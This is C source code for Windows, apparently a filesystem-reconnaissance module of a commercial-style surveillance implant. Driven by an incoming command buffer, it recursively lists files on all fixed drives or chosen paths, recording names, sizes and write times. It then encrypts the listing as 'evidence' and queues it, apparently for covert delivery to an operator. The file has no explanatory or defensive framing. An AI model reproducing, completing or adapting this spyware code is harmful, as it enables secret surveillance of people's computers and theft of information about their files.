#include <Windows.h>
#include <stdio.h>
#include "proto.h"
#include "zmem.h"
#include "filesystem.h"
#include "globals.h"

FILESYSTEM_LOGS lpFileSystemLogs[MAX_FILESYSTEM_QUEUE];

BOOL QueueFileSystemLog(__in LPBYTE lpEvBuff, __in DWORD dwEvSize)
{
	if (!lpEvBuff || !dwEvSize)
		return FALSE;

	for (DWORD i=0; i<MAX_FILESYSTEM_QUEUE; i++)
	{
		if (lpFileSystemLogs[i].dwSize == 0 || lpFileSystemLogs[i].lpBuffer == NULL)
		{
			lpFileSystemLogs[i].dwSize = dwEvSize;
			lpFileSystemLogs[i].lpBuffer = lpEvBuff;

			return TRUE;
		}
	}

	return FALSE;
}


WCHAR *RecurseDirectory(WCHAR *start_path, WCHAR *recurse_path)
{
	_snwprintf_s(recurse_path, MAX_PATH, _TRUNCATE, L"%s\\*", start_path);	
	return recurse_path;
}

WCHAR *CompleteDirectoryPath(WCHAR *start_path, WCHAR *file_name, WCHAR *dest_path)
{
	WCHAR *term;

	_snwprintf_s(dest_path, MAX_PATH, _TRUNCATE, L"%s", start_path);	
	if ( (term = wcsrchr(dest_path, L'\\')) ) {
		term++;
		*term = NULL;
		_snwprintf_s(dest_path, MAX_PATH, _TRUNCATE, L"%s%s", dest_path, file_name);	
	} 
		
	return dest_path;
}


BOOL ExploreDirectory(LPBYTE *lpBuffer, LPDWORD dwBuffSize, LPWSTR strStartPath, DWORD dwDepth)
{
	WCHAR file_path[MAX_PATH], recurse_path[MAX_PATH];
	directory_header_struct directory_header;

	if (strStartPath == NULL)
		return FALSE;
	if (dwDepth == 0)
		return TRUE;

	if (!wcscmp(strStartPath, L"/"))
	{
		WCHAR strDriveLetter[3];
		strDriveLetter[1] = L':';
		strDriveLetter[2] = L'\0';

		for (strDriveLetter[0] = L'A'; strDriveLetter[0] <= L'Z'; strDriveLetter[0]++)
		{
			if (GetDriveType(strDriveLetter) == DRIVE_FIXED)
			{
				SecureZeroMemory(&directory_header, sizeof(directory_header_struct));

				directory_header.version = DIR_EXP_VERSION;
				directory_header.flags |= PATH_IS_DIRECTORY;
				directory_header.path_len = wcslen(strDriveLetter)*2;

				if (!ExploreDirectory(lpBuffer, dwBuffSize, RecurseDirectory(strDriveLetter, recurse_path), dwDepth - 1))
					directory_header.flags |= PATH_IS_EMPTY;

				if (!*lpBuffer)
					*lpBuffer = (LPBYTE) zalloc(sizeof(directory_header_struct) + directory_header.path_len);
				else
					*lpBuffer = (LPBYTE) realloc(*lpBuffer, *dwBuffSize + sizeof(directory_header_struct) + directory_header.path_len);

				memcpy(*lpBuffer + *dwBuffSize, &directory_header, sizeof(directory_header_struct));
				memcpy(*lpBuffer + *dwBuffSize + sizeof(directory_header_struct), strDriveLetter, directory_header.path_len);
				*dwBuffSize += sizeof(directory_header_struct) + directory_header.path_len;

				//dwBuffSize = sizeof(directory_header_struct) + directory_header.path_len;
				//dwBuffSize += sizeof(directory_header_struct) + directory_header.path_len;

				/*
				LPBYTE lpBuff = (LPBYTE) zalloc(sizeof(directory_header_struct) + directory_header.path_len);
				memcpy(lpBuff, &directory_header, sizeof(directory_header_struct));
				memcpy(lpBuff + sizeof(directory_header_struct), strDriveLetter, directory_header.path_len);

				// SCRIVI LOG
				DWORD dwEvSize;
				LPBYTE lpEvBuffer = PackEncryptEvidence(sizeof(directory_header_struct) + directory_header.path_len, lpBuff, PM_EXPLOREDIR, NULL, 0, &dwEvSize);
				zfree(lpBuff);
				if (!QueueFileSystemLog(lpEvBuffer, dwEvSize))
					zfree(lpEvBuffer);
				*/
			}
		}
		return TRUE;
	}

	BOOL bIsFull = FALSE;
	WIN32_FIND_DATA pFindData;
	HANDLE hFind = FindFirstFile(strStartPath, &pFindData);
	if (hFind == INVALID_HANDLE_VALUE)
		return FALSE;

	do
	{
		if (!wcscmp(pFindData.cFileName, L".") || !wcscmp(pFindData.cFileName, L".."))
			continue;

		bIsFull = TRUE;
		SecureZeroMemory(&directory_header, sizeof(directory_header_struct));
		directory_header.version = DIR_EXP_VERSION;
		directory_header.file_size_hi = pFindData.nFileSizeHigh;
		directory_header.file_size_lo = pFindData.nFileSizeLow;
		directory_header.last_write = pFindData.ftLastWriteTime;

		if (pFindData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
			directory_header.flags |= PATH_IS_DIRECTORY;
		CompleteDirectoryPath(strStartPath, pFindData.cFileName, file_path);
		directory_header.path_len = wcslen(file_path)*2;

		if (directory_header.flags & PATH_IS_DIRECTORY)
			if (!ExploreDirectory(lpBuffer, dwBuffSize, RecurseDirectory(file_path, recurse_path), dwDepth-1))
				directory_header.flags |= PATH_IS_EMPTY;

		if (!*lpBuffer)
			*lpBuffer = (LPBYTE) zalloc(sizeof(directory_header_struct) + directory_header.path_len);
		else
			*lpBuffer = (LPBYTE) realloc(*lpBuffer, *dwBuffSize + sizeof(directory_header_struct) + directory_header.path_len);

		//dwBuffSize = sizeof(directory_header_struct) + directory_header.path_len;
		//dwBuffSize += sizeof(directory_header_struct) + directory_header.path_len;
		memcpy(*lpBuffer + *dwBuffSize, &directory_header, sizeof(directory_header_struct));
		memcpy(*lpBuffer + *dwBuffSize + sizeof(directory_header_struct), file_path, directory_header.path_len);
		*dwBuffSize += sizeof(directory_header_struct) + directory_header.path_len;

		/*
		LPBYTE lpBuff = (LPBYTE) zalloc(sizeof(directory_header_struct) + directory_header.path_len);
		memcpy(lpBuff, &directory_header, sizeof(directory_header_struct));
		memcpy(lpBuff + sizeof(directory_header_struct), file_path, directory_header.path_len);

		// SCRIVI LOG
		DWORD dwEvSize;
		LPBYTE lpEvBuffer = PackEncryptEvidence(sizeof(directory_header_struct) + directory_header.path_len, lpBuff, PM_EXPLOREDIR, NULL, 0, &dwEvSize);
		zfree(lpBuff);
		if (!QueueFileSystemLog(lpEvBuffer, dwEvSize))
			zfree(lpEvBuffer);
		*/
	}
	while (FindNextFile(hFind, &pFindData));

	FindClose(hFind);

	return bIsFull;
}


BOOL FileSystemHandler(DWORD dwMsgLen, DWORD dwNumDir, LPBYTE lpDirBuffer)
{
	if (!bCollectEvidences)
		return FALSE;

	for (DWORD i=0; i<dwNumDir; i++)
	{
		WCHAR strExpandedDir[MAX_PATH+1];
		DWORD dwDepth = lpDirBuffer[0];
		DWORD dwDirLen = *(LPDWORD) &lpDirBuffer[4];

		if (ExpandEnvironmentStrings((LPWSTR)&lpDirBuffer[8], strExpandedDir, MAX_PATH))
		{
			DWORD dwBuffSize = 0;
			LPBYTE lpBuffer = NULL;
			ExploreDirectory(&lpBuffer, &dwBuffSize, strExpandedDir, dwDepth);

			DWORD dwEvSize;
			LPBYTE lpEvBuffer = PackEncryptEvidence(dwBuffSize, lpBuffer, PM_EXPLOREDIR, NULL, 0, &dwEvSize);
			zfree(lpBuffer);
			
			if (!QueueFileSystemLog(lpEvBuffer, dwEvSize))
				zfree(lpEvBuffer);
		}
#ifdef _DEBUG
		else
		{
			DWORD err = GetLastError();
			__asm nop;
		}
#endif

		lpDirBuffer += sizeof(DWORD); // dwDepth
		lpDirBuffer += sizeof(DWORD); // dwDirLen
		lpDirBuffer += dwDirLen;
	}

	return TRUE;
}



.